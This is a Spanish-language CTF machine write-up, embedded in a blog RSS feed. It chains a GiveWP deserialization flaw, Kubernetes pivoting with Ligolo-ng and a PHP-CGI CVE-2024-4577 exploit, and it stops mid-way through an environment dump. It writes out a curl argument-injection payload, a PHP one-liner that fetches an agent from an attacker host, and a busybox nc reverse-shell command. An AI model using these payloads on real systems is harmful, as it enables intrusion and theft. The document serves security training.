<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Machine on</title><link>https://synacklabs.github.io/categories/machine/</link><description>Recent content in Machine on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Fri, 27 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/categories/machine/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Giveback (Medium)</title><link>https://synacklabs.github.io/posts/giveback/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/giveback/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8010-887e-d5ecd4464c5b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina combina una cadena de compromiso bastante completa: explotación de un plugin vulnerable de WordPress, pivoting hacia una red interna de Kubernetes, explotación de PHP-CGI en un contenedor legacy, y finalmente escalada de privilegios abusando de un binario con permisos de sudo que gestiona contenedores OCI. El recorrido pasa por tres contenedores distintos antes de llegar al nodo host.&lt;/p&gt;
&lt;h2 id="reconocimiento"&gt;Reconocimiento&lt;/h2&gt;
&lt;p&gt;Empiezo con un escaneo de puertos:&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8010-887e-d5ecd4464c5b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina combina una cadena de compromiso bastante completa: explotación de un plugin vulnerable de WordPress, pivoting hacia una red interna de Kubernetes, explotación de PHP-CGI en un contenedor legacy, y finalmente escalada de privilegios abusando de un binario con permisos de sudo que gestiona contenedores OCI. El recorrido pasa por tres contenedores distintos antes de llegar al nodo host.&lt;/p&gt;
&lt;h2 id="reconocimiento"&gt;Reconocimiento&lt;/h2&gt;
&lt;p&gt;Empiezo con un escaneo de puertos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNmct03SP9FFs6NQ+Pih2m65SYS/Kte9aGv3C8l43TJGj2UcSrcheEX2jBL/jbje/HRafbJcGqz1bKeQo1cbAc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICjor5/gXrTqGEWiETEzhgoni1P2kXV3B4O2/v2SGnH0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;62&lt;/span&gt; nginx 1.28.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.28.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: GIVING BACK IS WHAT MATTERS MOST &amp;amp;&lt;span style="color:#75715e"&gt;#8211; OBVI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-robots.txt: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; disallowed entry
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_/wp-admin/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-generator: WordPress 6.8.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;30686/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; Golang net/http server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Site doesn&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;t have a title &lt;span style="color:#f92672"&gt;(&lt;/span&gt;application/json&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| fingerprint-strings:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| FourOhFourRequest:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| HTTP/1.0 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| X-Content-Type-Options: nosniff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| X-Load-Balancing-Endpoint-Weight: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Date: Thu, &lt;span style="color:#ae81ff"&gt;06&lt;/span&gt; Nov &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:10:54 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Content-Length: &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;service&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;wp-nginx-service&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;localEndpoints&amp;#34;&lt;/span&gt;: 1,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;serviceProxyHealthy&amp;#34;&lt;/span&gt;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| HTTP/1.1 &lt;span style="color:#ae81ff"&gt;400&lt;/span&gt; Bad Request
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Content-Type: text/plain; charset&lt;span style="color:#f92672"&gt;=&lt;/span&gt;utf-8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Request
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| GetRequest, HTTPOptions:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| HTTP/1.0 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| X-Content-Type-Options: nosniff
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| X-Load-Balancing-Endpoint-Weight: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Date: Thu, &lt;span style="color:#ae81ff"&gt;06&lt;/span&gt; Nov &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:10:39 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Content-Length: &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;service&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;wp-nginx-service&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#e6db74"&gt;&amp;#34;localEndpoints&amp;#34;&lt;/span&gt;: 1,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#e6db74"&gt;&amp;#34;serviceProxyHealthy&amp;#34;&lt;/span&gt;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El puerto 80 sirve un WordPress 6.8.1. El puerto 30686 expone un endpoint JSON que identifica el servicio interno &lt;code&gt;wp-nginx-service&lt;/code&gt;, lo que ya me indica que estamos ante un entorno Kubernetes.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8079-b539-c6e30a7b8275.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8042-95ad-ee47cd21b221.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial-foothold"&gt;Acceso Inicial (Foothold)&lt;/h2&gt;
&lt;h3 id="explotación-de-givewp-cve-2024-5932"&gt;Explotación de GiveWP (CVE-2024-5932)&lt;/h3&gt;
&lt;p&gt;La web incluye una página de donaciones gestionada por el plugin &lt;strong&gt;GiveWP&lt;/strong&gt;. Este plugin en ciertas versiones es vulnerable a una inyección de objetos PHP (CVE-2024-5932) que deriva en ejecución remota de código (RCE) debido a una deserialización insegura.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80f6-8194-c4964f26d733.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique_PHP%20Object%20Injection%20Vulnerability%20in%20WordPress%20GiveWP%20%28CVE-2024-5932%29.pdf&amp;amp;r_fname=20240927174114070.pdf"&gt;https://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique_PHP%20Object%20Injection%20Vulnerability%20in%20WordPress%20GiveWP%20(CVE-2024-5932).pdf&amp;amp;r_fname=20240927174114070.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hay un PDF público con el análisis técnico y PoC:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/EQSTLab/CVE-2024-5932"&gt;https://github.com/EQSTLab/CVE-2024-5932&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La vulnerabilidad permite deserialización PHP no confiable, lo que lleva a ejecución de código remoto. La exploto y obtengo una reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80d7-8e6d-f3c219292fb5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80dd-abdd-fbab23296085.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración-del-contenedor-wordpress"&gt;Enumeración del contenedor WordPress&lt;/h3&gt;
&lt;p&gt;Leo &lt;code&gt;wp-config.php&lt;/code&gt; y obtengo las credenciales:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WordPress Admin:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Usuario: &lt;code&gt;user&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Contraseña: &lt;code&gt;O8F7KR5zGi&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Base de Datos:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Host: &lt;code&gt;beta-vino-wp-mariadb&lt;/code&gt; (10.43.147.82)&lt;/li&gt;
&lt;li&gt;Usuario: &lt;code&gt;bn_wordpress&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Contraseña: &lt;code&gt;sW5sp4spa3u7RLyetrekE4oS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Base de datos: &lt;code&gt;bitnami_wordpress&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Del output de &lt;code&gt;env&lt;/code&gt; identifico un servicio interno muy interesante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este contenedor está en un entorno Docker muy limitado, así que para poder alcanzar la red interna necesito hacer pivoting.&lt;/p&gt;
&lt;h3 id="pivoting-con-ligolo-ng"&gt;Pivoting con Ligolo-ng&lt;/h3&gt;
&lt;p&gt;Para alcanzar la red interna &lt;code&gt;10.43.0.0/16&lt;/code&gt;, utilizo &lt;strong&gt;Ligolo-ng&lt;/strong&gt;. Dado que el entorno del contenedor es restrictivo, transfiero el agente de Ligolo utilizando un &lt;em&gt;one-liner&lt;/em&gt; de PHP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;php -r &lt;span style="color:#e6db74"&gt;&amp;#39;$file = file_get_contents(&amp;#34;http://10.10.14.7:8081/agent&amp;#34;); file_put_contents(&amp;#34;agent&amp;#34;,$file);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usamos Ligolo-ng para el pivoting.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8068-8c46-f86f0def125a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Conecto el agente:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./agent -ignore-cert -connect 10.10.14.7:11601 &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8017-8f64-d26766f943f6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-802a-b93f-e907a96a6719.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Añado las rutas necesarias en el proxy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ligolo-ng » route_add --route 10.43.0.0/16 --name intimatebourgui
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ligolo-ng » route_add --route 10.42.0.0/16 --name intimatebourgui
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="explotación-de-php-cgi-cve-2024-4577"&gt;Explotación de PHP-CGI (CVE-2024-4577)&lt;/h3&gt;
&lt;p&gt;Con el túnel establecido, alcanzo el servicio interno en &lt;code&gt;10.43.2.241:5000&lt;/code&gt;. Detecto que está ejecutando una versión vulnerable de &lt;strong&gt;PHP-CGI&lt;/strong&gt;. Utilizo un exploit para CVE-2024-4577, enviando la carga útil mediante &lt;code&gt;curl&lt;/code&gt; para poder visualizar la respuesta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-806f-b3e3-de6c4e7f5493.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-801b-aa2d-e3ce171abdf7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/watchtowrlabs/CVE-2024-4577/blob/main/watchTowr-vs-php_cve-2024-4577.py"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Con el exploit no podiamos ver el resultado de la respuesta del servidor pero funcionaba.&lt;/p&gt;
&lt;p&gt;Primero, verifico ejecución de comandos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~/Desktop/HTB/Giveback/exploit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl -s -X POST &lt;span style="color:#e6db74"&gt;&amp;#34;http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input&amp;#34;&lt;/span&gt; --data &lt;span style="color:#e6db74"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;START&lt;span style="color:#f92672"&gt;]&lt;/span&gt;uid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0&lt;span style="color:#f92672"&gt;(&lt;/span&gt;root&lt;span style="color:#f92672"&gt;)&lt;/span&gt; gid&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0&lt;span style="color:#f92672"&gt;(&lt;/span&gt;root&lt;span style="color:#f92672"&gt;)&lt;/span&gt; groups&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0&lt;span style="color:#f92672"&gt;(&lt;/span&gt;root&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,1&lt;span style="color:#f92672"&gt;(&lt;/span&gt;bin&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,2&lt;span style="color:#f92672"&gt;(&lt;/span&gt;daemon&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,3&lt;span style="color:#f92672"&gt;(&lt;/span&gt;sys&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,4&lt;span style="color:#f92672"&gt;(&lt;/span&gt;adm&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,6&lt;span style="color:#f92672"&gt;(&lt;/span&gt;disk&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,10&lt;span style="color:#f92672"&gt;(&lt;/span&gt;wheel&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,11&lt;span style="color:#f92672"&gt;(&lt;/span&gt;floppy&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,20&lt;span style="color:#f92672"&gt;(&lt;/span&gt;dialout&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,26&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tape&lt;span style="color:#f92672"&gt;)&lt;/span&gt;,27&lt;span style="color:#f92672"&gt;(&lt;/span&gt;video&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;END&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Luego, lanzo una reverse shell empleando &lt;code&gt;busybox&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl -s -X POST &lt;span style="color:#e6db74"&gt;&amp;#34;http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input&amp;#34;&lt;/span&gt; --data &lt;span style="color:#e6db74"&gt;&amp;#34;/bin/busybox nc 10.10.14.231 4441 -e /bin/sh |sh&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VARIABLES DE ENTORNO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.0.1:443
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOSTNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;legacy-intranet-cms-6f7bf5db84-lfw7l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_INI_DIR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/etc/php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.61.204:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.4.242:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_SERVICE_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.2.241
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHLVL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_CGI_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;8.3.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.2.241:5000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/root
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OLDPWD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/var/www
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_LDFLAGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;-Wl,-O1 -pie
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_CGI_ENABLED&lt;span style="color:#f92672"&gt;=&lt;/span&gt;true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.61.204
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.147.82
